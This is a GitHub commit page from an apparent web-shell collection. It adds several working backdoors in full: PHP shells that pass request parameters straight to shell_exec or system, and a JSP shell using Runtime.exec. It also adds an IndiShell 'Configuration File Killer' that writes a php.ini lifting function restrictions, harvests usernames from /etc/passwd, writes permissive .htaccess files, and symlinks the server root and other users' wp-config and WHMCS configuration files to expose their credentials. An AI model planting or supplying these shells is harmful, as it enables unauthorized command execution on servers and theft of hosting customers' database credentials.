Skip to content

Commit 3275ca0

Browse files
committed
Rename old files with long names and add new web-shells
1 parent de08fbc commit 3275ca0

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

52 files changed

+22744
-1828
lines changed
File renamed without changes.
File renamed without changes.
File renamed without changes.

Collection/C99madShell.php

-7
This file was deleted.
File renamed without changes.

Collection/CyberShell.php

-1,033
This file was deleted.
File renamed without changes.
File renamed without changes.
File renamed without changes.

Collection/JspWebshell 1.2.php

-788
This file was deleted.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.

Collection/Simple-Webshell.php

+75
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
<?php
2+
if (!empty($_POST['cmd'])) {
3+
$cmd = shell_exec($_POST['cmd']);
4+
}
5+
?>
6+
<!DOCTYPE html>
7+
<html>
8+
<!-- By Artyum (https://github.com/artyuum) -->
9+
<head>
10+
11+
<meta charset="utf-8">
12+
13+
<meta http-equiv="X-UA-Compatible" content="IE=edge">
14+
15+
<meta name="viewport" content="width=device-width, initial-scale=1">
16+
17+
<link rel="stylesheet" type="text/css" href="//bootswatch.com/4/flatly/bootstrap.min.css">
18+
19+
<title>Web Shell</title>
20+
21+
<style>
22+
h2 {
23+
color: rgba(0, 0, 0, .75);
24+
}
25+
26+
pre {
27+
padding: 15px;
28+
-webkit-border-radius: 5px;
29+
-moz-border-radius: 5px;
30+
border-radius: 5px;
31+
background-color: #ECF0F1;
32+
}
33+
34+
.container {
35+
width: 850px;
36+
}
37+
</style>
38+
39+
</head>
40+
41+
<body>
42+
43+
<div class="container">
44+
45+
<div class="pb-2 mt-4 mb-2">
46+
<h1>PHP Shell</h1>
47+
<h2> Execute a command </h2>
48+
</div>
49+
50+
<form method="POST">
51+
<div class="form-group">
52+
<label for="cmd"><strong>Command</strong></label>
53+
<input type="text" class="form-control" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>" required>
54+
</div>
55+
<button type="submit" class="btn btn-primary">Execute</button>
56+
</form>
57+
58+
<?php if ($cmd): ?>
59+
<div class="pb-2 mt-4 mb-2">
60+
<h2> Output </h2>
61+
</div>
62+
<pre>
63+
<?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?>
64+
</pre>
65+
<?php elseif (!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'): ?>
66+
<div class="pb-2 mt-4 mb-2">
67+
<h2> Output </h2>
68+
</div>
69+
<pre><small>No result.</small></pre>
70+
<?php endif; ?>
71+
</div>
72+
73+
</body>
74+
75+
</html>
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.

Collection/alfa3.php

+10
Large diffs are not rendered by default.

Collection/andela.php

+16
Large diffs are not rendered by default.

Collection/bloodsecv4.php

+6
Large diffs are not rendered by default.

Collection/by.php

+8,138
Large diffs are not rendered by default.
File renamed without changes.

Collection/c99ud.php

+1
Large diffs are not rendered by default.

Collection/cmd.php

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
<?php
2+
if(isset($_REQUEST['cmd']) ){
3+
echo "<pre>";
4+
$cmd = ($_REQUEST['cmd']);
5+
system($cmd);
6+
echo "</pre>";
7+
die;
8+
}
9+
?>

Collection/configkillerionkros.php

+228
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,228 @@
1+
<?php
2+
3+
4+
$head = '
5+
<html>
6+
<head>
7+
</script>
8+
<title>--==[[Configuration File Killer By Ion Kros]]==--</title>
9+
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
10+
11+
<STYLE>
12+
body {
13+
font-family: Tahoma
14+
}
15+
tr {
16+
BORDER: dashed 1px #333;
17+
color: #FFF;
18+
}
19+
td {
20+
BORDER: dashed 1px #333;
21+
color: #FFF;
22+
}
23+
.table1 {
24+
BORDER: 0px Black;
25+
BACKGROUND-COLOR: Black;
26+
color: #FFF;
27+
}
28+
.td1 {
29+
BORDER: 0px;
30+
BORDER-COLOR: #333333;
31+
font: 7pt Verdana;
32+
color: Green;
33+
}
34+
.tr1 {
35+
BORDER: 0px;
36+
BORDER-COLOR: #333333;
37+
color: #FFF;
38+
}
39+
table {
40+
BORDER: dashed 1px #333;
41+
BORDER-COLOR: #333333;
42+
BACKGROUND-COLOR: Black;
43+
color: #FFF;
44+
}
45+
input {
46+
border : dashed 1px;
47+
border-color : #333;
48+
BACKGROUND-COLOR: Black;
49+
font: 8pt Verdana;
50+
color: Red;
51+
}
52+
select {
53+
BORDER-RIGHT: Black 1px solid;
54+
BORDER-TOP: #DF0000 1px solid;
55+
BORDER-LEFT: #DF0000 1px solid;
56+
BORDER-BOTTOM: Black 1px solid;
57+
BORDER-color: #FFF;
58+
BACKGROUND-COLOR: Black;
59+
font: 8pt Verdana;
60+
color: Red;
61+
}
62+
submit {
63+
BORDER: buttonhighlight 2px outset;
64+
BACKGROUND-COLOR: Black;
65+
width: 30%;
66+
color: #FFF;
67+
}
68+
textarea {
69+
border : dashed 1px #333;
70+
BACKGROUND-COLOR: Black;
71+
font: Fixedsys bold;
72+
color: #999;
73+
}
74+
BODY {
75+
SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
76+
margin: 1px;
77+
color: Red;
78+
background-color: Black;
79+
}
80+
.main {
81+
margin : -287px 0px 0px -490px;
82+
BORDER: dashed 1px #333;
83+
BORDER-COLOR: #333333;
84+
}
85+
.tt {
86+
background-color: Black;
87+
}
88+
89+
A:link {
90+
COLOR: White; TEXT-DECORATION: none
91+
}
92+
A:visited {
93+
COLOR: White; TEXT-DECORATION: none
94+
}
95+
A:hover {
96+
color: Red; TEXT-DECORATION: none
97+
}
98+
A:active {
99+
color: Red; TEXT-DECORATION: none
100+
}
101+
</STYLE>
102+
<script language=\'javascript\'>
103+
function hide_div(id)
104+
{
105+
document.getElementById(id).style.display = \'none\';
106+
document.cookie=id+\'=0;\';
107+
}
108+
function show_div(id)
109+
{
110+
document.getElementById(id).style.display = \'block\';
111+
document.cookie=id+\'=1;\';
112+
}
113+
function change_divst(id)
114+
{
115+
if (document.getElementById(id).style.display == \'none\')
116+
show_div(id);
117+
else
118+
hide_div(id);
119+
}
120+
</script>'; ?>
121+
<html>
122+
<head>
123+
<?php
124+
echo $head ;
125+
echo '
126+
127+
<table width="100%" cellspacing="0" cellpadding="0" class="tb1" >
128+
129+
130+
131+
<td width="100%" align=center valign="top" rowspan="1">
132+
<font color=red size=5 face="comic sans ms"><b>--==[[ Configuration</font><font color=white size=5 face="comic sans ms"><b> File Killer By</font><font color=green size=5 face="comic sans ms"><b> Team IndiShell ]]==--</font> <div class="hedr">
133+
134+
<td height="10" align="left" class="td1"></td></tr><tr><td
135+
width="100%" align="center" valign="top" rowspan="1"><font
136+
color="red" face="comic sans ms"size="1"><b>
137+
<font color=red>
138+
####################################################</font><font color=white>#####################################################</font><font color=green>####################################################</font><br><font color=white>-==[[Greetz to]]==--</font><br> Guru ji zero ,code breaker ica, Aasim shaikh, Raman kumar rana,INX_r0ot,Darkwolf indishell, Chinmay Pandya ,Silent poison India,Magnum sniper,Atul Dwivedi,ethicalnoob Indishell,Local root indishell,Irfninja indishell<br>cool toad,cool shavik, Ebin V Thomas,Dinelson Amine ,Mr. Trojan,rad paul,Godzila,mike waals,Neo hacker ICA, Golden boy INDIA,Ketan Singh,Yash,Reborn India,Alicks,Aneesh Dogra,silent hacker,lovetherisk<br>Suriya Prakash,cyber gladiator,Ashell india,Cyber Ace,hero,Minhal Mehdi ,Raj bhai ji,cold fire hacker,Prashant Tanwar, VikAs ViKi ,Rakesh, Bhuppi,Mohit, Ffe ^_^,Ashish,Shardhanand,Bhuppi and rest of TEAM INDISHELL<br>
139+
140+
<font color=white>--==[[Dedicated to]]==--</font>
141+
<br># SH.Kishan Singh Tanwar and my Ex Teacher Mrs. Ritu Tomer Rathi #<br><font color=white>--==[[Interface Desgined By]]==--</font><br><font color=red>Deepika Kaushik</font><br><font color=red>
142+
####################################################</font><font color=white>#####################################################</font><font color=green>####################################################</font>
143+
144+
</table>
145+
146+
147+
';
148+
149+
?>
150+
<body bgcolor=black><h3 style="text-align:center"><font color=red size=2 face="comic sans ms"><div align=center><table><tr><td>Welcome Bhai ji :) .. Configuration file killer welcomes you _/\_ </font><br></td></tr></table>
151+
<form method=post><font color=white size=2 face="comic sans ms">The button given below generates php.ini file :)</font><p>
152+
<input type=submit name=ini value="use to Generate PHP.ini" /></form>
153+
<form method=post><font color=white size=2 face="comic sans ms">The button given below extract usernames for symlink :)</font><p>
154+
<input type=submit name="usre" value="use to Extract usernames" /></form>
155+
156+
<?php
157+
if(isset($_POST['ini']))
158+
{
159+
160+
$r=fopen('php.ini','w');
161+
$rr=" disbale_functions=none ";
162+
fwrite($r,$rr);
163+
$link="<a href=php.ini><font color=white size=2 face=\"comic sans ms\"><u>open this link in new tab to run PHP.INI</u></font></a>";
164+
echo $link;
165+
166+
}
167+
168+
169+
170+
?>
171+
172+
173+
<?php
174+
if(isset($_POST['usre'])){
175+
?><form method=post>
176+
<textarea rows=10 cols=50 name=user><?php $users=file("/etc/passwd");
177+
foreach($users as $user)
178+
{
179+
$str=explode(":",$user);
180+
echo $str[0]."\n";
181+
}
182+
183+
?></textarea><br><br>
184+
<input type=submit name=su value="bhaiyu ^_^ .. lets start" /></form>
185+
<?php } ?>
186+
<?php
187+
error_reporting(0);
188+
echo "<font color=red size=2 face=\"comic sans ms\">";
189+
if(isset($_POST['su']))
190+
{
191+
mkdir('Indishell',0777);
192+
$rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
193+
$g = fopen('Indishell/.htaccess','w');
194+
fwrite($g,$rr);
195+
$indishell = symlink("/","Indishell/root");
196+
$rt="<a href=Indishell/root><font color=white size=3 face=\"comic sans ms\"> OwN3d</font></a>";
197+
echo "Bhai ji .... check link given below for / folder symlink <br><u>$rt</u>";
198+
199+
$dir=mkdir('INDISHELL',0777);
200+
$r = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
201+
$f = fopen('INDISHELL/.htaccess','w');
202+
203+
fwrite($f,$r);
204+
$consym="<a href=INDISHELL/><font color=white size=3 face=\"comic sans ms\">configuration files</font></a>";
205+
echo "<br>The link given below for configuration file symlink...open it, once processing finish <br><u><font color=red size=2 face=\"comic sans ms\">$consym</font></u>";
206+
207+
$usr=explode("\n",$_POST['user']);
208+
$configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
209+
foreach($usr as $uss )
210+
{
211+
$us=trim($uss);
212+
213+
foreach($configuration as $c)
214+
{
215+
$rs="/home/".$us."/public_html/".$c;
216+
$r="INDISHELL/".$us.$c;
217+
symlink($rs,$r);
218+
219+
}
220+
221+
}
222+
223+
224+
}
225+
226+
227+
228+
?>
File renamed without changes.
+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
<html>
2+
<body>
3+
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
4+
<input type="TEXT" name="cmd" id="cmd" size="80">
5+
<input type="SUBMIT" value="Execute">
6+
</form>
7+
<pre>
8+
<?php
9+
if(isset($_GET['cmd']))
10+
{
11+
system($_GET['cmd']);
12+
}
13+
?>
14+
</pre>
15+
</body>
16+
<script>document.getElementById("cmd").focus();</script>
17+
</html>
File renamed without changes.

Collection/jspshell.jsp

+32
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
<%@ page
2+
import="java.util.*,java.io.*"%>
3+
<%
4+
%>
5+
<HTML>
6+
<BODY>
7+
<H3>JSP SHELL</H3>
8+
<FORM METHOD="GET" NAME="myform"
9+
ACTION="">
10+
<INPUT TYPE="text" NAME="cmd">
11+
<INPUT TYPE="submit" VALUE="Execute">
12+
</FORM>
13+
<PRE>
14+
<%
15+
if (request.getParameter("cmd") != null) {
16+
out.println("Command: " +
17+
request.getParameter("cmd") + "<BR>");
18+
Process p =
19+
Runtime.getRuntime().exec(request.getParameter("cmd"));
20+
OutputStream os = p.getOutputStream();
21+
InputStream in = p.getInputStream();
22+
DataInputStream dis = new DataInputStream(in);
23+
String disr = dis.readLine();
24+
while ( disr != null ) {
25+
out.println(disr);
26+
disr = dis.readLine();
27+
}
28+
}
29+
%>
30+
</PRE>
31+
</BODY>
32+
</HTML>

0 commit comments

Comments
 (0)